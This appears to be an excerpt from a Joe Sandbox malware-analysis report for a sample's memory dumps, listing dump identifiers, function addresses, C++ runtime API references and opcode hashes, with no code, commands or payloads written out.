Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 104efd6854fb91279305e58f4c129043b70269b8cdf533e2aaa124e69888c982
Instruction ID: 8f28f6f7b9d69e6cb4d01e3e83d3ced6a23af4bd02d0b15b9858852e49c98fdf
Opcode Fuzzy Hash: 104efd6854fb91279305e58f4c129043b70269b8cdf533e2aaa124e69888c982
Instruction Fuzzy Hash: 0941D374E0020DABCF10DF68E884A9EBBB4BF09354F148165EA185B3E2D735DE56CB91

Function 009FDD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 009FDD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 009FDDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 009FDE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 009FDE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 009FDE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 009FDE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 009FDE74

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: 405cdf23d1ac150ff2400edfb7f830735e3e57248b4fdf4a2c41a276161f669f
Instruction ID: 69405d24b82926e6ef53712df94df2b262dbd99fa8ceec9b4ed62867e461da56
Opcode Fuzzy Hash: 405cdf23d1ac150ff2400edfb7f830735e3e57248b4fdf4a2c41a276161f669f
Instruction Fuzzy Hash: 6D41CC30A0624C9BCF15FBA484557FC7BAA6F90304F1444A9EA916F2D3CB358E08CB62

Function 009FE7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 009FE7D7

Part of subcall function 009FE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 009FE577
Part of subcall function 009FE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 009FE599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 009FE854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 009FE860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 009FE86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 009FE879
Concurrency::location::_Assign.LIBCMT ref: 009FE8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 009FE8B5

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: cb164e7ee86220f7fa7e22be099d07e4c87fd5032c87c6d763fea251a444006b
Instruction ID: e833d7ab7bc5d0dc8fc214e97ff99ab0b74bd0521176a0d545d1ed341ebd90a5
Opcode Fuzzy Hash: cb164e7ee86220f7fa7e22be099d07e4c87fd5032c87c6d763fea251a444006b
Instruction Fuzzy Hash: 2F412B35A00208DFCF05EF64C495BADB7B9FF88350F1580AADE499B392DB30A941CB91

Function 009E6E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 009E6ED1
std::_Rethrow_future_exception.LIBCPMT ref: 009E6F22
std::_Rethrow_future_exception.LIBCPMT ref: 009E6F32
__Mtx_unlock.LIBCPMT ref: 009E6FD5
__Mtx_unlock.LIBCPMT ref: 009E70DB
__Mtx_unlock.LIBCPMT ref: 009E7116

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 085f374b652ca58ccd9c8d72ab248231b85d782d6673c3748d48454db2921e2e
Instruction ID: 5d42c5990ebf82d3feb4aa774a49f3e97dfb978e44204e49e2d663704e186def
Opcode Fuzzy Hash: 085f374b652ca58ccd9c8d72ab248231b85d782d6673c3748d48454db2921e2e
Instruction Fuzzy Hash: B3C1F3B0D043849FDB22DFA6C845BAFBBF8AF55310F00492DE45697681EB35AD05CB62

Function 009F44DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 009F4538
ListArray.LIBCONCRT ref: 009F456C
Hash.LIBCMT ref: 009F45D5
Hash.LIBCMT ref: 009F45E5

Part of subcall function 009F9C41: std::bad_exception::bad_exception.LIBCMT ref: 009F9C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 009F474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 009F47A4

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
